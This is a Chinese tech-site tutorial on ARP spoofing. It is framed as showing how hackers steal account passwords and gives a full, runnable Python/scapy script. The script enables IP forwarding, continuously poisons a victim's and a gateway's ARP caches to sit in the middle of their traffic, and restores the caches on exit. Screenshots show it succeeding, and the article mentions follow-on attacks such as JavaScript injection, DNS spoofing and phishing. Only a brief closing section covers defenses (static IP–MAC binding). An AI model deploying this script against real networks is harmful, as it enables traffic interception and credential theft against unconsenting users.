您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

用Python演示ARP攻击的过程及应对办法

时间:2020-09-27 10:21:00  来源:  作者:

我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。

在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行DNS欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。

▊ 什么是ARP欺骗

这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。

用Python演示ARP攻击的过程及应对办法

 

一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python/ target=_blank class=infotextkey>Python脚本来做到这一点。

在常规网络中,所有设备均正常地与网关通信,然后再与Inte.NET通信,如下图所示:

用Python演示ARP攻击的过程及应对办法

 

现在,攻击者需要将ARP响应发送到两个主机:

向网关发送ARP响应,说“我有受害者的IP地址”。

向受害者发送ARP响应,说“我有网关的IP地址”。

用Python演示ARP攻击的过程及应对办法

 

一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:

用Python演示ARP攻击的过程及应对办法

 

一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。

▊ 实战演示

好了,理论说完了!在开始之前,您需要安装所需的库:

pip3 install scapy

如果您使用的是windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:

pip3 install pywin32

编写Python脚本

首先,我们需要导入必要的模块:

from scapy.all import Ether, ARP, srp, send
import argparseimport timeimport osimport sys

首先,我需要提到我们需要启用IP路由(即IP转发)。

在多种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,供您在Windows中启用IP路由。

对于类Unix用户(本教程建议的平台),您所需要做的就是编辑文件“ / proc / sys / net / ipv4 / ip_forward” ,该文件需要root用户访问权,并将值1表示已启用,或者使用以下python代码:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

对于Windows用户,复制 services.py到当前目录后,代码如下:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

好了,我们把以上代码合起来,这样兼容windows和类Unix系统的所有平台:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

首先,我们需要一个实用程序功能,使我们能够获取网络中任何计算机的mac地址,代码如下:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

我们使用Scapy的srp()函数以数据包的形式发送请求,并不断监听响应,在这种情况下,我们正在发送ARP请求并监听任何ARP响应。

其次,我们将创建一个功能来完成本教程的核心工作,给定目标IP地址和主机IP地址,它会更改目标IP地址的ARP缓存,说我们拥有主机的IP地址:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上面的代码获取目标的MAC地址,制作恶意ARP应答(响应)数据包,然后将其发送。

一旦我们想停止攻击,就需要将真实地址重新分配给目标设备(以及网关),如果不这样做,受害者将失去互联网连接,那么受害人就会发现异常了,通常的做法就是我们将依次发送七个合法的ARP回复数据包,代码如下:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

现在我们需要编写主要的代码,欺骗受害主机直到按下CTRL + C,代码如下:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

我在Linux机器上运行了脚本,这是我的结果的屏幕截图:

用Python演示ARP攻击的过程及应对办法

 

在此示例中,如果您尝试检查ARP缓存,确定将我的个人计算机用作受害者:

用Python演示ARP攻击的过程及应对办法

 

您将看到攻击者的MAC地址(在本例中为“ 192.168.1.105”)与网关的相同,欺骗成功了。

在攻击者的计算机上,当您单击CTRL + C关闭程序时,以下是还原过程的屏幕截图:

用Python演示ARP攻击的过程及应对办法

 

回到受害者机器,您将看到网关的原始MAC地址已还原:

用Python演示ARP攻击的过程及应对办法

 

▊ 如何应对攻击

攻击成功后,攻击者还可以做很多的事情。例如,您可以在html响应中注入JAVAscript代码,对目标进行DNS欺骗,拦截文件并即时对其进行修改,网络嗅探和监视、钓鱼等等。

那么如何组织arp攻击呢?

★、关闭路由器的dhcp功能,添加ip地址与mac地址静态绑定功能。

用Python演示ARP攻击的过程及应对办法

 

★、本地添加网关的ip地址与mac地址静态绑定。

用Python演示ARP攻击的过程及应对办法

 

这就是arp欺骗的python用法及应对办法,本文旨在解密攻击原理与过程及应对办法,请勿用作其他非法用途。

关注我,每天更新一篇技术好文,下一节我将揭秘一下python中的dns欺骗的过程。



Tags:ARP攻击   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
在前面的课程中,我们学习了ARP攻击的理论和实践知识,知道了怎么进行攻击,这节中我们将学习如何进行防御,内容包括:ü借助第三方软件防御(360安全卫士,腾讯管家等)ü使用arp...【详细内容】
2021-11-13  Tags: ARP攻击  点击:(128)  评论:(0)  加入收藏
我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。在网路中获取别人的...【详细内容】
2020-09-27  Tags: ARP攻击  点击:(233)  评论:(0)  加入收藏
什么是arp攻击?ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓...【详细内容】
2020-04-20  Tags: ARP攻击  点击:(93)  评论:(0)  加入收藏
没有网络安全就没有国家安全,就没有所谓安全,人权。但是要是网络安全没有用在正确的地方,最后的悲剧就是:“网络安全学得好,监狱进得早!” arp是地址解析协议,是根据IP地址获取物...【详细内容】
2019-12-31  Tags: ARP攻击  点击:(139)  评论:(0)  加入收藏
ARP攻击:导致瞬间掉线和大面积断网的罪魁祸首。在局域网中,通过ARP协议来进行IP地址(第三层)与第二层物理地址(即MAC地址)的相互转换。局域网中的一些设备如路由器、装有TCP/IP协...【详细内容】
2019-11-25  Tags: ARP攻击  点击:(338)  评论:(0)  加入收藏
有朋友多次问到,如何防止ip地址冲突?如何解决?很多情况下ip地址冲突除了人为,大多数都是由arp所造成的,今天我们就一起来了解一下arp相关的内容。一、什么是arp 1、什么是arp地址...【详细内容】
2019-09-23  Tags: ARP攻击  点击:(258)  评论:(0)  加入收藏
▌简易百科推荐
大家好,今天继续我们的内网穿透系列教程,之前分享的是利用云服务器中转流量实现内网访问操作,考虑到有些人的服务器带宽可能是1M的,对远程桌面这种实时画面的支持实在不太好,今天...【详细内容】
2022-07-13  程序搭建指南    Tags:Frp   点击:(11)  评论:(0)  加入收藏
OSCS(开源软件供应链安全社区)推出免费的漏洞、投毒情报订阅服务,社区用户可通过机器人订阅情报信息:https://www.oscs1024.com/?src=wx背景概述黑客通常使用受感染的机器而不...【详细内容】
2022-07-11  OSCS开源社区    Tags:在线编程   点击:(6)  评论:(0)  加入收藏
安全研究人员警告说,黑客可以滥用在线编程学习平台来远程发起网络攻击、窃取数据并扫描易受攻击的设备,只需使用网络浏览器。至少有一个这样的平台,称为 DataCamp,允许威胁参与...【详细内容】
2022-07-10  黑客帮    Tags:黑客   点击:(5)  评论:(0)  加入收藏
如果想深入学习无线安全,可以参考评论区第一条COWPATTY破解密码 WPA密码通用破解工具 使用密码字段 cowpatty -r [.CAP包] -f [字典] -s [ssid] 使用彩虹表(PMK)genpmk -f 【字...【详细内容】
2022-07-06  IT知识一享    Tags:破解密码   点击:(23)  评论:(0)  加入收藏
据ZDnet网7月6日报道,ADVA宣布,POST卢森堡已部署ADVA的Oscilloquartz光学铯原子钟,以保护其基于GNSS的定时网络免受干扰和欺骗网络攻击。图片来自:ZDnet领先的ICT和电信服务提供...【详细内容】
2022-07-06  邮电设计技术    Tags:GNSS   点击:(14)  评论:(0)  加入收藏
近期,中国多家科研机构先后发现了“验证器”木马程序的活动痕迹。这让人不禁联想到西工大事件。所幸的是,没有造成重大威胁。 一旦“他们”成功在各个机构安插硬件或软件后门,...【详细内容】
2022-06-30  网盾网络安全培训    Tags:酸狐狸   点击:(38)  评论:(0)  加入收藏
美国这次难辞其咎,中国多个重要信息系统,发现有被后门程序植入的痕迹,而美国很可能就是始作俑者。 随着互联网技术的普及,包括交通、金融、医院、科研、工业生产等诸多领域,早已...【详细内容】
2022-06-29  国际科技资讯    Tags:酸狐狸   点击:(19)  评论:(0)  加入收藏
练练经常流动办公,连接不同地点的WIFI,为了安全,我往往会自查自己的电脑是否被监控。那么判断自己所用的电脑是否被监控,特别是使用所在公司或机构电脑时,更有必要查询是否被监控...【详细内容】
2022-06-24  练练在深圳    Tags:监控   点击:(0)  评论:(0)  加入收藏
目录:1.如何找漏洞2.找到后如何挖漏洞3.漏洞如何提交只要搞渗透,不就会听到很多行业内人前辈一直在重复:“信息搜集” 信息搜集有多重要,你搜集到的多少资产信息,决定了你后续...【详细内容】
2022-06-21  KaliMa    Tags:漏洞   点击:(54)  评论:(0)  加入收藏
IPS :入侵防御系统(IPS: Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter, Application Gateway)的补充。 入侵...【详细内容】
2022-06-05  网盾网络安全培训    Tags:网络安全   点击:(37)  评论:(0)  加入收藏
站内最新
站内热门
站内头条